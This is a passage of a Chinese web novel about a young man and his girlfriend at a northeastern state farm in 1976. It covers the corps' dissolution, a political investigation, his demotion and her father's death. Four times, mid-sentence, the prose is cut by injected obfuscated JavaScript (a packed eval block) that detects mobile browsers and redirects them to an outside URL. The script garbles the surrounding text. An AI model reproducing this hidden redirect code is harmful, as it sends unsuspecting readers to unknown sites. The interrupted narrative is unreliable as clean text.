1976年正月初七，坐了半天加一宿火车，又坐了大半天的客车的白建军等人再次回到了黑江兵团四十五团的团部。大家都在双城子这边的一个开业的小饭店里吃了一口热乎饭，这才互相道别。 白建军、石兴华和王美丽和大家分别之后就往六连和九连走。这时候各个连队并没有专门来接人的马车，不过有路过的马车无论是哪个连的，都能稍上大家一段。 把王美丽送到了六连，白建军和石兴华一路走回到了九连，两人把东西放回宿舍，并且把各家带来的信交给连里的知青们之后，就去连部那边销假，这时候白建军发现上沪、津门的不少知青还没有回来，这让想和吴忆茹谈谈的白建军一时之间也找不到人，白建军又和石兴华一道返回了宿舍。 刚才进来，匆忙的给大家找信，白建军看到的大多都是知青们的笑容，可是白建军再次回到宿舍之后，就发现气氛很是不对劲。 “班长，我怎么感觉你们现在的气氛不对呢？” 白建军一边收拾自己的东西，一边看着张铁刚问道。 “哎，建军，这事你们早晚会知道的！”张铁刚叹了一口气看着白建军说道。“咱们兵团要撤了！” “什么情况？”白建军停下了手上的活不可思议的看着张铁刚问道。“我怎么没看到有明确的正式消息啊！” “撤销兵团的文件，去年年底就批了！”张铁刚看着白建军直接说道。“消息虽然具体不知道从哪传出来的，但是现在这已经是公开的秘密了！” “今年咱们团连过年的文艺汇演都没有了！”郑自新在一旁补充着说道。“团部那边今年过年你都找不到几个现役干部！” “终于轮到咱们了！”张铁刚唏嘘的说道。“这段时间，且得混乱一阵呢！” 白建军没想到自己只是回家休假了半个月，兵团这边就跟变了天似的。虽然早有田志远的提示，但是白建军没想兵团撤销的事情已经进展到这样的程度了。 石兴华同样也没想到一回来就听到这么大的震惊，之后一直有些失魂落魄的，就连睡觉的时候也是翻来覆去的辗转反侧，而且不仅仅是石兴华，九连的这些战士中，好多这个年过的都不痛快，哪怕已经这个时候，仍然翻来覆去的睡不着。 白建军已经决定暂时留在兵团这边，所以并没有其他人那样患 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719750|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得患失。 一夜醒来，吃过早饭，周海兵就赶着连里的马车去团部接上沪和津门的知青去了，他们昨天到团部的时候已经都黑天了，所以都留在了双城住了一宿。 虽然没到中午，白建军看到蔡凯杰的时候，就知道上沪和津门的知青都回来了，但是白建军直到下午吃晚饭的时候才在食堂见到了吴忆茹。 白建军吃完饭之后特意等在了食堂门口，等吴忆茹和黑丽荣她们一起出来的时候，女知青们都看到白建军。陈梦莹看了看白建军，又看了看吴忆茹，笑着打趣两人道。 “一日不见如隔三秋，何况这还是快半个月没见了！” 一帮女知青都笑着看了看白建军，然后就离开了，已经被臊的不行的吴忆茹也想离开，不过还是被黑丽荣和陈梦莹留了下来。 “吴忆茹，咱们一起走走吧！”等女知青们都走了一段距离之后，白建军看着吴忆茹说道。“我想和你聊一聊！” “嗯，我也有些话要对你说！” 吴忆茹尽管害羞，可还是点了点头说道。 两个人一前一后离开了九连，漫步在乡间布满积雪的小路上。 第105章 吴忆茹家出事了 虽然指导员方怡提前和白建军说了要调白建军到团部这边的医院，但是正式的手续还是要一层一层的往下落实，在这期间白建军还是需要参加连里的正常劳动。 白建军知道自己能被调到双城医院这件事，不仅有自己当初在培训中的突出表现，当年胡晓洁顶替自己参加培训这件事也起到了一定的作用，现在调自己也可以说是一种变相的补偿。 胡晓洁去年就回城了，而且听说之后还被推荐去了医学院深造。对此白建军并没有什么不平衡的，人家家里有关系，安排好自己的孩子，这是多么正常的一件事。 换成是白建军自己，自己也希望许晓琴和许晓玲好，而且有能力的情况下，也会尽量让她们俩以后的路走的顺利。 自从宣布兵团解散之后，各地的名头首先进行了改变，白建军所在的九连也由原来的黑江生产建设兵团五师四十五团九连，变更为黑江国营农场总局下属鹤山农场九队。 吴忆茹一直都没有给出白建军一个明确的回答，直到这天，一纸调令下发到了九队这边。 “建军，恭喜你啊，你就要去团部那边的医院上班了，不用再和我们一样下地干活了！” “建军，你到了双山那边，可不能忘了这帮兄弟们啊！” “建军，以后我们真的叫你白大夫了！” 知道这个消息的知青们都纷纷恭喜白建军，大家也都纷纷送上了祝福。要说羡慕，不少人都挺羡慕的，但是要说嫉妒，九队的知青们还真没有人嫉妒白建军。 怎么说呢，医学这个方向毕竟不是人人都能走得通的。 就在调令到了的当天下午，吴忆茹也再次找到了白建军。 “建军，最近我想了很多，也和家里联系过，我家已经不反对我留下来了！” 吴忆茹正式的和白建军说道。 “那可太好了！”白建军拍手叫好道。“你现在九队呆着，我要是到了双城那边，要是招工的机会，我也帮着你留意！” “若是没有机会你也不用着急！”吴忆茹看着白建军笑着说道。“我还打算看看能不能争取一下今年的工农兵大学生名额！” “那看来我也要考虑一下，以后在单位好好工作，争取能被推荐去进修了！” 白建军同样开心的说道。 此时，白建军和吴忆茹都对两个人的未来满怀希望，看着彼此的眼睛，两个人的脸不由慢慢的靠近，直到两张温热的嘴唇碰到了一起之后，吴忆茹才快速的挣脱开白建军的怀抱。 兵团解散之后对于广大知青们来说，也不是没有好的影响，起码白建军可以和吴忆茹光明正大的谈恋爱，而不用担心被连里处分了。虽然以前九连都知道两个人互相有意思，但是两个人也没有把这个事明朗化，连里也是睁一只眼闭一只眼。 这一吻之后，白建军和吴忆茹也是正式确立了恋爱关系，回去的时候，白建军也可以大大方方的拉着吴忆茹的手。尽管仍然有些害羞，但是吴忆茹的心中也是感到无比的甜蜜。 两个人走了一圈就再次返回了九队这边的宿舍，男生们这边只是感觉今天白建军很高兴，大家都以为是调令的原因，但女生那边不少人都看出了吴忆茹和以往有所不同。 “吴忆茹，你和白建军现在是正式谈恋爱了吧！” 宿舍的女生看着回来的吴忆茹笑着问道。 “没……没有……！” 吴忆茹下意识的就直接否定道，不过说话的声音却越来越小。 “还不承认！”其他女生也都笑着看着吴忆茹说道。“你脸上就差写上白建军的名字啦！” 还是黑丽荣出面才止住了女知青对吴忆茹的调笑。 第二天一早，白建军就收拾好了自己的行李，九队这边还为白建军办了一个欢送会，场长张大山和书记林国栋特意安排了队里的马车送白建军。 就这样白建军离开了九队，从一名知青变成了双城医院的一名医助。这不仅仅是身份的转变，同样还有很多东西跟着一起转变。首先就是户口的转变。 白建军原来的户口是归到团部的，兵团撤销之后，又转移到了分场这边，现在白建军被调到医院，户口也由分场调到了医院这边的集体户口上。若是以后白建军在双城这边和吴忆茹成家，那两个人也可以从集体户口上脱离，单独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719751|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立户。 不过这样的事情只存在于白建军和吴忆茹的想象里，因为白建军刚刚到医院这边工作了一个多月，吴忆茹那边就出了事。 白建军这天正在带着自己的医生巡查病房，刚走出病房，就看到了院长林均生和几名穿着中山装的人出现在了病房的走廊里。 “刘医生，你继续巡查病房，我找白建军有几句话要说！”林均生看着刘医生和善的说完话，就对着白建军说道。“先跟我走！” 白建军虽然不知道林均生为什么带着人找自己，不过也没有多想。双城医院的院长林均生就是以前团部卫生队的队长，他选择退伍留在地方上当起了双城医院的院长，林均生算是白建军的老上级老领导了。 白建军刚跟在林均生的身后跟着林均生走出了两步，白建军就察觉出不对。跟着林院长一起来的 几名穿着中山装的人直接跟在了白建军的身后和两边，看那架势不像是陪同，反倒更像是押送。 不过白建军并没有轻举妄动，林院长亲自找自己来，而且这些人也没有直接和自己动手，那么白建军还是先要搞清楚到底发生了什么事，才好决定接下来要怎么做。 一路走进了林均生的办公室，林均生坐回自己的位置之后，看着站在面前的白建军问道。 “建军，你也算是我手下的兵了，我希望我接下来的问题，你能如实的回答！” “院长，有什么问题，你直接问吧！” 白建军点了点头，看着林俊生回答道。 林均生看了看那些穿中山装的人，见他们已经开始记录，林均生也坐直了身体。 “白建军同志，我现在代表组织向你询问一些问题，请你认真的对待，如实的回答我的问题！”林均生严肃的看着白建军问道。“你和九分场的吴忆茹之间是什么关系？” “我和吴忆茹已经正式确立了恋爱关系！” 白建军一听林均生的提问，眉头就不自觉的皱了起来，不过也没有犹豫，大方的承认了两个人之间的关系。 林均生听到白建军的回答也是一阵头疼，不过林均生同样皱了皱眉之后继续问道。 第106章 白建军退回九分场（4k） 就像林均生说的那样，白建军的问题并不大，若不是调查组在九分场调查之后了解到白建军和吴忆茹走的比较近，调查组都不一定找到白建军的头上。 哪怕白建军承认了和吴忆茹之间已经确立了恋爱关系，白建军身上的问题也很好解决。 一来两个人是在兵团解散之后确立的关系，这没有违反之前兵团的规定，而且确立关系的时候，吴忆茹家里也没发生这些事，白建军属于不知情； 二来白建军这一个多月一直在医院这边忙碌，而吴忆茹也在九分场那边参加春种前的准备工作，两个人在这期间也没有见面。 白建军被限制在自己宿舍内不到一周，调查组这边就解除了对白建军的一部分限制，虽然还没有正式通知白建军恢复工作，但是正常的出入是没有问题了，包括通信也都恢复了，只是不能离开双城的范围。 由于最近一段时间一直忙于工作和学习，白建军没来及看报纸，而白建军被审查的那天偏偏是4月7日。也正是调查组解除了对白建军的限制，白建军通过阅读之前的一些报纸，以及大街上标语也换了一个新的主题，让白建军想明白了吴忆茹他爸为什么会在这个时候突然被打倒。 吴忆茹他爸一个音乐教授，一定是在这时候说了什么，才会突然出事。对于发生在京城的事，很多人都理解不了，包括白建军自己也理解不了。但是现在不是理解不理解的问题，理解了得执行，不理解一样得执行。 想明白了事情的原因，白建军现在最想知道的就是吴忆茹现在的处境，而不等白建军了解吴忆茹的情况，林均生再次让人把白建军找到了他的办公室。 “院长，您找我！” 白建军敲门进来之后，看着林均生恭敬的说道。 “建军，你的问题已经基本查清楚了。”林均生看着白建军直接说道。“我让人问了一下调查组那边，对于你的处理意见很简单，只要你能和吴忆茹断绝恋人关系，那么你就可以很快恢复工作！” “院长，您知道调查组那边会怎么处理吴忆茹么？” 白建军没有顺着林均生的话，反而打听起来了吴忆茹的情况。 “还能怎么处理，无外乎撤销她在分场那边的职务，之后要么发配到最艰苦的地方，要么分配一些掏粪或是最苦最累的工作进行劳动改造。”林均生看着白建军唏嘘的说道。“以前兵团在的时候可能还会一视同仁，但是现在农场是归地方管了。下乡巡诊的时候，这些事咱们看到、听到的还少么？” “院长，我认识的吴忆茹是一个善良的姑娘，同时她也是一个心思敏感的姑娘！”白建军不假思索的看着林均生认真的说道。“她家里出了这些事，已经让她备受打击，若是我此时一纸断绝关系声明摆在她的面前，她会直接崩溃的！” “你不想写这个声明？” 林均生皱着眉头看着白建军问道。 “我不能写，也不想写！”白建军真诚的看着林均生说道。“我虽然只是医助，但是我也知道我的声明会让她疯掉，所以我不能写；都说夫妻本是同林鸟，大难临头各自飞！我爸妈虽然平时争吵不断，但是当年我爸出事之后，我妈也没有抛弃我爸离开。我和吴忆茹虽说还只是恋爱关系，但是我也不想在她最困难的时候，离她而去！” “建军，你不要意气用事，你要多想想你的前途！”林均生直接从座位上站了起来，语重心长的对白建军说道。“你现在不写这个声明，那你和吴忆茹就还是恋人关系，你同样会被连累的！” “不要说你今年还能不能被推荐去大学，可能你现在的工作都不一定能保得住，你会被送回九分场的！”林均生看着白建军激动的说道。“难道你要回去和吴忆茹一起掏大粪么？难道你要为了你所谓的爱情，就放弃了你的未来？前些天你还说你家里还有个太奶奶呢，你怎么就不想想她呢！” “林院长，感谢您这几年以来对我的关心和爱护，我知道，这次的事要是没有您在前面顶着，恐怕我不会这么轻松！” 白建军感激的看着林均生说道。 “不过可能我要让您失望了，我没觉得吴忆茹有什么 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组亲自送到白建军的手中的，而且要求白建军马上收拾东西，立刻跟着调查组一起去九分场那边。白建军收拾好自己的个人物品，还想去和院长林均生道别，不过却被调查组的人阻止了。 白建军无法，只能在两名调查组人员的陪同下，一起离开了待了不到两个月的医院宿舍。等白建军走到楼下的时候，医院里不少医助都在林均生的带领下送白建军一程。 “你说你小子，怎么这么犟啊！” 陈大勇看着白建军，用力的捶了一下白建军的胸口。 “你是不是傻！啊！你是不是傻！” 许玉琴也抹着眼泪，数落着白建军。 杨晓琴、郁秀英以及曾经不少一起参加培训的原来的卫生员们都为白建军感到惋惜。 白建军非常感动，从来的都是原来的卫生员现在的医助，没有一个医生就能看出来，这时候还能过来送自己的，真可以说得上一句难能可贵了。白建军真诚的对着来送自己的这些战友们深深的鞠了一躬。 第107章 吴忆茹也回来了（4K） 白建军回到九分场半个多月之后，一辆吉普车再次停在了九分场的门口，仍然是上次来的张干事带着一个女同志一起把吴忆茹押送回了九分场。 张大山和林国栋看到吴忆茹的样子的时候，两个人都目眦欲裂，张大山指着吴忆茹看着张干事愤怒的说道。 “张干事，一个多月前，你们带走的还是个清秀的姑娘，你看看，现在人都瘦的都要脱了像了！” 张干事摇了摇头示意张大山和林国栋两人跟着自己出去一下。 “你们俩跟我出来一下，咱们先出去说！” 留下陪同来的女同志和双眼发直的吴忆茹，张大山和林国栋一起随着张干事先离开了办公室。 “张干事，吴忆茹现在是什么情况！”林国栋出来之后先拉住张大山，忍着怒气看着张干事问道。“你上次来不是说很快就能放回来了么！” “我们早就调查完了，之后就把吴忆茹押到看守所了。”张干事看着林国栋直接说道。“吴忆茹他爸一个礼拜前因病离世了，看守所那边直接把这个消息告诉给了吴忆茹。 据看守所的人说，吴忆茹知道消息之后就是现在这个样子，而且一直不吃不喝的，他们怕出事就又把事情汇报到调查组。她爸的问题是她爸的，她的问题是她的问题，这不能一概而论。 我们也找了医院那边，医院建议不能再继续关押，否则人就得有生命危险。而且医院建议把她送到她熟悉的地方，周边都是她熟悉的人，这样还有可能让她恢复神志！” “这他妈都叫什么事啊！” 张大山气的不行，但是这也怨不着人家调查组。 “张干事，那现在你们把吴忆茹送回来，想让我们怎么对待吴忆茹？” 吴忆茹现在被送回来，林国栋已经明白调查组那边的态度，不过林国栋还是要问清楚。 “原则上，吴忆茹现在是‘黑五类’家庭子女，该怎么对待就怎么对待！”张干事看着林国栋认真的说道。“但是吴忆茹现在这个状态也是实际情况，这就需要你们分场这边斟酌考虑了！” “这不是你们拉出来的屎，让我们擦屁股么！” 张大山一听直接嘟囔了一句。 “山子，你在那里放什么屁！你知不知道你自己在说什么？”张干事也有些急眼了，看着张大山直接骂道。“换别人过来，这趟车直接可以把你带回去！” “这不是你来了！”张大山也梗梗着看着张干事说道。“别人来我也不说啊！” “你还知道现在农场那边不只有咱们这些人，还有其他地方调过来的，人家可不一定给你面子啊！”张干事也被张大山气的不行，可是都是多年的战友了，张干事顶多骂上几句，还真不能拿张大山怎么样。“我他妈……，我就不该跟你这个浑人一般见识！” “张哥，那之后吴忆茹要是一直不好，我们这边给她申请个病退啥的，没什么问题吧！” 林国栋也换了个称呼看着张干事问道。 “张哥，你抽烟！” 张大山掏出烟递给张干事，张干事斜眼看了一眼张大山也接过了烟，张大山直接掏出火柴给张干事点烟。张干事抽了一口之后，才看着林国栋说道。 “怎么着也得过一段时间，等事情淡化一些的！”张干事四下看了看小声说道。“这事是上沪那边来了通知，咱们这边才会调查一番，不然谁他妈闲的管这个事。现在结果出来了，也发回去了，某些人也有了政绩，谁还有那闲功夫盯着她不放？” “张哥，我明白了！” 林国栋也点了点头。 张干事抽完烟，踩灭了烟头，看着张大山和林国栋说道。 “行了，时间也不早了，我也早点回去了，天天坐车坐的屁股都要颠两瓣儿了！” 几人说完话又返回了场长办公室，张干事先宣布了一下调查组对吴忆茹的处理意见，之后就把吴忆茹交给了张大山和林国栋。这次张大山和林国栋也没有再去送张干事，而是看着眼神呆滞的吴忆茹发愁。张大山和林国栋也试着和吴忆茹说话，可是吴忆茹一点反应都没有。 “老林，这计划赶不上 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“人都回来了，早晚能让你们见到，该干什么干什么去，这闹哄哄的！” 林国栋再次大声喊道。 “大家先回去吃饭吧！”黑丽荣这时候也出面劝着大家。“林主任都说吴忆茹已经回来了，你们还信不过林主任么？” 来的知青想想也是，既然林主任都说吴忆茹回来了，那早一会儿晚一会儿都能见到，大家也不差这么一会儿了。知青慢慢的散去了，不过仍有想第一时间看看吴忆茹的，比如陈梦莹。 “唉，留下就留下吧，不过提前跟你们说一声，一会儿别激动！” 林国栋叹了口气看着剩下来的几个人说道。 几人对于林国栋的话都有些莫名其妙，不过等她们看到吴忆茹现在的样子之后，无论是黑丽荣、孙桂艳还是陈梦莹眼泪直接就下来了。白建军也是惊讶的不行，看着脸上颧骨都有些凸出来的吴忆茹，白建军真的不敢想象这阶段吴忆茹到底遭了多大的罪！ 第108章 连续的打击！隐瞒消息 白建军从场部办公室回来的时候，脑海中仍然回想着刚刚林国栋的话。 “建军，吴忆茹现在办病休我直接就能批，相信你去鹤山医院找林院长，他也会签字！”林均生看着白建军严肃的问道。“但是你想过没有，吴忆茹现在回到上沪就真的好么？” “先不说她现在的精神状态，就算她回到了上沪，她这样的家庭，回到上沪会受到什么样的对待，你心里没数么？” “你觉得她母亲会比她现在的处境更好么？” “她在咱们场部这边，身边还有你、还有黑丽荣她们在她身边照顾，还有我们在前面给她顶着，要是现在她回到上沪，你觉得有几个人会愿意沾上她们家？” “我知道你是关心她，但是你要是现在张罗她‘病退’的事，那就是好心办坏事！” 白建军见到吴忆茹之后，也和吴忆茹说了林国栋的这些话。 “忆茹，林主任说的没错，你现在回去不见得是什么好事！”白建军看着吴忆茹认真的说道。“你在咱们这边都经受了这么多磨难，你母亲在上沪只会比你经受的还要多！” “建军，你说我现在应该怎么办啊？” 吴忆茹望着白建军，带着哭腔问道。 “你别哭！昨天都差点让丽荣姐她们看出来问题，还累的你又饿了一顿！”白建军拉住了吴忆茹的手。“要我说，你先慢慢恢复正常吃饭，你不能再这样了，你的身体也快撑不住了！” “那……！” 吴忆茹伸手擦了一下眼睛。 “身体恢复需要正常吃饭，但是精神恢复可不是吃饭能解决的！”白建军看着吴忆茹认真的说道。“大家都以为你是受了刺激，这个就需要找到病因，才能对症治疗。而且哪怕你之后精神有所好转，也可以时不时的犯一下病。” “建军，这样能行么？” 吴忆茹怀疑的看着白建军问道。 “唉，我姐当年就得过这样的心病！”白建军摇了摇头看着吴忆茹说道。“你现在所经历的一切，当年我都经历过，而且我自那时候就失忆了，忘记了之前所有的一切，甚至我连我姐都忘了，而我姐却都清清楚楚的记得，这些都压在她心底！” “建军，之前你都没和我说过这些！” 吴忆茹看着白建军心疼的说道。 “本来就是痛苦的事，说出来也不过是多一个人承受这份痛苦！”白建军轻笑着安慰着吴忆茹。“好在，你并不是真的得了心病！” “建军，你能多陪我待几天么？”吴忆茹靠在白建军身上喃喃的说道。“没有你在我身边，我真的害怕！” “林主任不是都说了么，让我白天陪着你么！” 白建军抱着吴忆茹的肩膀轻声说道。 “你不回医院么？”吴忆茹奇怪的看着白建军问道。“医院能陪放你几天假，也不能一直放你假啊！” “原来你还不知道啊！”白建军自嘲的笑了笑。“咱们俩是恋人关系，你觉得调查组没找我么？” “建军，你……！” 吴忆茹一下子坐直了身子看着白建军。 “我被下放回来了！”白建军看着吴忆茹笑了笑，又抱住了她的肩膀。“不要多想，都是我自己决定的！” 这次吴忆茹直接扑到白建军怀里，眼泪是止不住的往下流。 “建军，都是我害了你！都是我害了你啊！” “刚刚还说不让你哭，你这又哭上了！”白建军拍着吴忆茹的后背安慰着吴忆茹说道。“这不赖你！真的不赖你！” 白建军哄了吴忆茹好一阵子才让吴忆茹止住了哭泣，之后又去打水给吴忆茹擦脸。吴忆茹自己能动手也让白建军制止了。 “要想瞒天过海，现在我只能把你当做什么都不知道那样！”白建军认真的看着吴忆茹说道。“晚上若是丽荣姐陪你，你就别闹；若是桂艳姐，你就偶尔闹一下；若是其他人来陪你，你就要表现出害怕的样子！” “嗯，我都听你的！” 吴忆茹点了点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719754|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 吴忆茹现在对白建军可以说是言听计从，因为只有白建军在她身边才能让她感受到最大的安全感。 吴忆茹在看守所的时候心里剩下的两个支柱：一个是亲情，一个是爱情。白建军为了两个人之间的感情，可以说放弃了大好前途，这让吴忆茹心里十分的感动，吴忆茹觉得自己没有看错人。 …… 吴忆茹回来已经半个多月了，自从吴忆茹回来之后，在白建军和黑丽荣、孙桂艳她们的照顾下，身体也慢慢恢复了过来，这样张大山和林国栋心里的一颗大石头也算落下来大半。 但是一封挂号信由张干事送来之后，张大山和林国栋再次傻眼了。 “张哥，你这时候给我们送来这个消息，你这不是要人命么！”林国栋这次也急眼了。“这吴忆茹刚刚缓过来一点，精神状态也见好，这要是让她知道这个消息，那人不得彻底疯了啊！” “我这不是也没办法么！”张干事也叹了口气说道。“但是现在吴忆茹她们家就剩下她一个了，上沪那边的街道也只能把这个消息写信寄到这边啊！” “你们也不是不知道，她家那边 来的挂号信，我们这边不可能不被检查一番！”说完话张干事抖了抖信，就放到办公桌上。“事情我也带到了，剩下就是你们怎么通知吴忆茹了，我先走啦！” “老张！” 林国栋赶忙要拉张干事，可是张干事推开门，一甩林国栋的胳膊快步走了出去，直接就上了吉普车。 “国栋，事就交给你们啦！我先走一步啦！”张干事对着林国栋摆了摆手，然后直接吩咐司机。“快开车！” 吉普车一溜烟儿的就跑了，就剩下留在原地吃灰的林国栋。 林国栋悻悻的回到了张大山的办公室，张大山拿起了桌子上的信看着林国栋问道。 “老林，这消息要是让吴忆茹知道了，那不是把人往死路上逼么！” 林国栋刚要说话，办公室的门直接就被白建军推开了。 第109章 三女会审 吴忆茹一点也不傻，当黑丽荣她们晚上没有过来反而是白建军过来的时候，吴忆茹就意识到不对劲。 “建军哥，丽荣姐、桂艳姐还有陈梦莹她们今天怎么都没有过来？” “丽荣姐请假回家了，她都快7年没回去了！”白建军一边拿着饭一边说道。“桂艳姐和小陈今天太累了，这不就让我晚上住你旁边‘看着’你么！” 吴忆茹还是很相信白建军的，听到白建军的解释，也就信了。 可是第一天能糊弄过去，第二天也糊弄过去了，到了第三天，吴忆茹就觉得不对了。第二天孙桂艳请假了，第三天陈梦莹也请假了，哪有这么巧的事。 “建军哥，是不是又出了什么事了，她们都不敢到我身边来了？” 吴忆茹惊恐的看着白建军问道。 “忆茹，你别胡思乱想，她们真的是请假回家了！”白建军看着吴忆茹的样子心疼的说道。“要不明天我陪你出去走走，你看看大家对你什么态度，你就知道了。丽荣姐她们真是请假了！” “建军哥，你没有骗我？” 吴忆茹怀疑的看着白建军问道。 “我这有什么好骗你的，明天你要是出去走走，不就都知道了么！”白建军安慰着吴忆茹说道。“要是真像你说的大家都躲着你，那农场的其他人不也得躲着你么！” 吴忆茹现在是很敏感的，哪怕白建军如此解释，第二天傍晚还是提出了要出去走走，白建军想了想也觉得没什么问题，毕竟其他人都不知道吴忆茹母亲去世的事，白建军也就不怕吴忆茹现在知道消息。 时隔半个多月，吴忆茹终于从屋子里走了出来，白建军领着吴忆茹在他们俩以前常走的路上散着步，路上不时就能看到一对对男女知青并肩而行。 有的人发现吴忆茹之后，无论关系远近都会和吴忆茹打声招呼，说上一两句话。虽然吴忆茹表现出来的是躲闪、害怕的样子，但是内心中已经相信了白建军的解释，相信了黑丽荣她们真的不是躲着自己。 “好久没出来，我还真不知道这条路上现在这么多人！” 白建军领着吴忆茹走在乡间的路上小声的说道。 “兵团撤销后，大家都成了农场职工，以前兵团不让谈恋爱的规定也取消了。”吴忆茹也小声说道。“知青们不少年龄都25、6了，都在考虑个人问题，以前互生好感的两个人还会偷偷摸摸，现在都大大方方的了！” “你这么一说也确实是如此。”白建军点了点头。“唉，不过我现在也替丽荣姐和桂艳姐愁！” “她们俩也不是没有人追求，不过都被她们俩拒绝了。”吴忆茹小声的说道。“丽蓉姐一直想当外交官，桂艳姐也是想当公安，她们俩都志不在此！” “这很正常，丽蓉姐会好几国外语，不当外交官都可惜了！”白建军想了想看着吴忆茹说道。“至于桂艳姐，她是有功夫底子的！” “她们现在都能去心仪的大学了，也算这么多年没有白熬！” 吴忆茹有些失落的说道。 白建军看着吴忆茹的样子就知道她又想到了自己不能去音乐院校进修，可能心里还有对自己不能去医学院进修的愧疚。 “先胖不算胖，后胖压塌炕！咱们还年轻，总会有机会的！”白建军看着吴忆茹劝慰道。“以后我晚上都陪你出来走走，总呆在屋子里也不好，出来呼吸一下泥土的芬芳也好！” 白建军陪着吴忆茹溜达了一圈儿，也算让吴忆茹安心了不少。 这之后的半个月里，白建军白天开始复工，晚上回来之后就陪着吴忆茹出来溜达溜达，孙桂艳和陈梦莹也先后从津门和上沪返回了九分场这边。 这天上午白建军还在地里干活，周海兵蹬着自行车忙三火四的就找了过来。 “建军！建军！” 周海兵看到白建军之后大声的喊道。 白建军听到周海兵的喊声，连忙从地里跑了过来。 “海兵哥，怎么了？” “建军，你家里来电报了！” 周海兵说完赶紧从兜里掏出来记录下来的电报内容，白建军打开一看，心里一阵慌乱。只见电报就七个字：“太奶病重，速归！姐” “建军，主任和场长都知道了，我带你回去！这时候还能赶上去齐齐哈尔的客车！” 周海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719755|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵抬着自行车掉了个头，拍了拍后座直接说道。 “小石！小石！”白建军对着还在地里干活的石兴华喊道。“回去的时候帮我把铁锹拿回去！” 白建军喊完，周海兵也骑上了自行车，白建军一下子跳上了后座，周海兵也卖力的蹬了起来。 大家还不知道怎么回事呢，就看到白建军跟着周海兵走了，心里都不由咯噔一下，现在所有人每天虽然面上不显，但是心里都担着小心，生怕谁再出了事，再牵连到自己身上。 总体来说，知青们都不是小年轻了，大家都想过安生日子了，大家都已经没了当初那份折腾的劲头了。 白建军回到场部这边的时候，介绍信、假条林国栋和张大山都已经开出来了。 “建军，你先别着急。一会儿你骑我的自行车和海兵一起去鹤山，如果没 赶上客车，你就给场部这边打电话，我再想办法！”林国栋把介绍信和假条交给了白建军。“你先回去换个衣服，不差这一时半会儿！” “谢谢主任！谢谢场长！” 白建军接过介绍信和假条连忙向着林国栋和张大山道谢！ 张大山摆了摆手。 “快去吧！” 白建军给两个人敬了个礼之后，就赶忙往自己那屋跑，急忙换了一身干净衣服，推开门就去了隔壁吴忆茹那屋。 “忆茹，我姐刚发来的电报，说我太奶奶病重，让我马上回去一趟！” 白建军看到吴忆茹之后，快速的说道。 “啊？！” 吴忆茹听到白建军的话，心里是甭提多惊讶了，一时都有些没反应过来。 “别啊了，我过来告诉你一声！我现在就要骑车子去鹤山坐车！”白建军看着吴忆茹快速的说道。“有这么长时间铺垫，你在外人眼中也算恢复了一点，以后可以适当的给出一些正常的反应了，这样也不会让别人怀疑！” “我知道了，你也别着急！”吴忆茹上前拉住白建军的手。“路上一定要注意安全！” 匆匆告别了吴忆茹，白建军自行车脚蹬子都要蹬冒烟了，紧赶慢赶才赶上了去往齐齐哈尔的汽车。 第110章 噩梦后的闲谈 白建军匆忙的从鹤山农场赶回到京城，回到家又接受了自己三位亲人的一番说教，白建军觉得自己脑袋浑犟犟的，等回到自己的屋子，白建军倒在床上，没一会儿就睡着了。 白建军做梦了，梦里除了李香秀、黑丽荣和白建华不断的对着自己发出灵魂般的拷问，吴忆茹也在一边可怜巴巴的看着自己。 如果仅仅是这几位出现在白建军的脑海里，白建军还能思考一下得失，就在白建军在梦里进行思考的时候，亲人的阵营里又加入了秦京茹、许晓琴和许晓玲母女三人。 许晓琴抱着白建军的大腿同样用可怜巴巴的眼神看着白建军问道。 “爸爸，你不要我了么？” 秦京茹抱着许晓玲也看着白建军说道。 “白建军，你不要我，我认了，可是你不能不要晓琴和晓玲啊！她们俩可是你的亲闺女啊！” 这还不算，慢慢的亲人阵营的规模越来越大，先是夏建红和任燕加入其中，之后是夏建国、田源、夏小妹以及强子、二喜、老蔫他们也都加入到亲人阵营，甚至白占元都出现在了白建军的梦里。 亲人阵营里的每个人都在问着白建军同一个问题。 